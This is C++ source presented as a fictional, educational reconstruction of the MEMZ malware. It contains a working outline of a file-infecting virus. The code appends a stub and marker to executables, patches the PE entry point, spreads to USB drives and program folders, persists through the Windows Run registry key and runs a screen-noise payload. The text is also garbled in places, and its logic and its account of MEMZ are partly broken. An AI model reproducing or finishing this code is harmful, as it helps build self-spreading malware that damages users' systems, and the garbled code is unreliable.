// memz.
cpp - Fictional reconstruction of MEMZ malware for educational purposes
// WARNING: Do not compile or run. For analysis only.
#include <windows.h>
#include <d3d11.h>
#include <vector>
#include <fstream>
#include <string>
#include <thread>
#include <random>
// Constants
const char MARKER[] = "\xDE\xAD\xBE\xEF"; // Infection marker
const DWORD MARKER_SIZE = 4;
const char* TARGET_DIRS[] = {"C:\\Users\\*\\AppData\\Roaming\\", "C:\\Program
Files\\", nullptr};
const BYTE MEMZ_STUB[] = {0x90, 0xC3}; // Placeholder for stub (actual is ~10KB)
// Check if file is executable
bool IsExecutable(const char* filename) {
std::string name(filename);
return [Link]() > 4 && [Link]([Link]() - 4) == ".exe";
}
// Check if file is infected
bool IsInfected(const char* path) {
std::ifstream file(path, std::ios::binary);
if (!file) return false;
[Link](-MARKER_SIZE, std::ios::end);
char marker[MARKER_SIZE];
[Link](marker, MARKER_SIZE);
[Link]();
return memcmp(marker, MARKER, MARKER_SIZE) == 0;
}
// Infect a single file
void InfectFile(const char* path) {
if (IsInfected(path)) return;
// Read original file
std::ifstream src(path, std::ios::binary | std::ios::ate);
if (!src) return;
size_t size = [Link]();
[Link](0);
std::vector<char> original(size);
[Link]([Link](), size);
[Link]();
// Append stub and marker
std::ofstream dst(path, std::ios::binary);
[Link]([Link](), size);
[Link]((const char*)MEMZ_STUB, sizeof(MEMZ_STUB)); // Append stub
[Link](MARKER, MARKER_SIZE); // Append marker
[Link]();
// Patch PE header (simplified)
HANDLE hFile = CreateFileA(path, GENERIC_READ | GENERIC_WRITE, 0, nullptr,
OPEN_EXISTING, 0, nullptr);
if (hFile != INVALID_HANDLE_VALUE) {
// Modify entry point to stub (placeholder logic)
SetFilePointer(hFile, 0x3C, nullptr, FILE_BEGIN); // PE header offset
DWORD peOffset, bytesRead;
ReadFile(hFile, &peOffset, sizeof(DWORD), &bytesRead, nullptr);
SetFilePointer(hFile, peOffset + 0x28, nullptr, FILE_BEGIN); // Entry point
DWORD newEntry = size; // Point to stub
WriteFile(hFile, &newEntry, sizeof(DWORD), &bytesRead, nullptr);
CloseHandle(hFile);
}
}
// Infect all executables in a directory
void InfectDrive(const char* drive) {
std::string searchPath = std::string(drive) + "*.*";
WIN32_FIND_DATA findData;
HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
if (hFind == INVALID_HANDLE_VALUE) return;
do {
if (!([Link] & FILE_ATTRIBUTE_DIRECTORY) &&
IsExecutable([Link])) {
std::string fullPath = std::string(drive) + [Link];
InfectFile(fullPath.c_str());
}
} while (FindNextFile(hFind, &findData));
FindClose(hFind);
}
// Monitor USB drives
void MonitorUSB() {
while (true) {
char drives[256];
GetLogicalDriveStringsA(sizeof(drives), drives);
for (char* drive = drives; *drive; drive += strlen(drive) + 1) {
if (GetDriveTypeA(drive) == DRIVE_REMOVABLE) {
InfectDrive(drive);
}
}
Sleep(1000); // Check every second
}
}
// GPU glitch payload
void GlitchPayload() {
// Initialize DirectX (simplified)
ID3D11Device* device = nullptr;
ID3D11DeviceContext* context = nullptr;
D3D11CreateDevice(nullptr, D3D_DRIVER_TYPE_HARDWARE, nullptr, 0, nullptr, 0,
D3D11_SDK_VERSION, &device, nullptr, &context);
if (!device || !context) return;
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<UINT> dist(0, 0xFFFFFFFF);
while (true) {
// Create noise buffer
std::vector<UINT> noise(1920 * 1080); // Full HD buffer
for (auto& pixel : noise) pixel = dist(gen); // Random colors
// Create and update texture
D3D11_TEXTURE2D_DESC desc = {};
[Link] = 1920;
[Link] = 1080;
[Link] = 1;
[Link] = 1;
[Link] = DXGI_FORMAT_R8G8B8A8_UNORM;
[Link] = 1;
[Link] = D3D11_USAGE_DEFAULT;
[Link] = D3D11_BIND_SHADER_RESOURCE;
ID3D11Texture2D* texture;
device->CreateTexture2D(&desc, nullptr, &texture);
context->UpdateSubresource(texture, 0, nullptr, [Link](), 1920 * 4, 0);
// Render to screen (simplified)
ID3D11ShaderResourceView* srv;
device->CreateShaderResourceView(texture, nullptr, &srv);
context->PSSetShaderResources(0, 1, &srv);
context->Draw(3, 0); // Trigger draw (actual rendering omitted)
texture->Release();
srv->Release();
Sleep(16); // ~60 FPS
}
context->Release();
device->Release();
}
// Persistence via registry
void SetPersistence() {
HKEY hKey;
RegOpenKeyA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\
Run", &hKey);
char path[MAX_PATH];
GetModuleFileNameA(nullptr, path, MAX_PATH);
RegSetValueExA(hKey, "MEMZ", 0, REG_SZ, (BYTE*)path, strlen(path) + 1);
RegCloseKey(hKey);
}
// Main entry point
int APIENTRY WinMain(HINSTANCE, HINSTANCE, LPSTR, int) {
// Check if infected
char exePath[MAX_PATH];
GetModuleFileNameA(nullptr, exePath, MAX_PATH);
if (!IsInfected(exePath)) return 0;
// Run original program (simplified)
// Normally, jump to original entry point via PE header
STARTUPINFOA si = {sizeof(si)};
PROCESS_INFORMATION pi;
CreateProcessA(exePath, nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr,
&si, &pi);
// Set persistence
SetPersistence();
// Start infection thread
std::thread usbThread(MonitorUSB);
[Link]();
// Start payload thread
std::thread glitchThread(GlitchPayload);
[Link]();
// Propagate to system directories
for (int i = 0; TARGET_DIRS[i]; ++i) {
InfectDrive(TARGET_DIRS[i]);
}
return 0;
}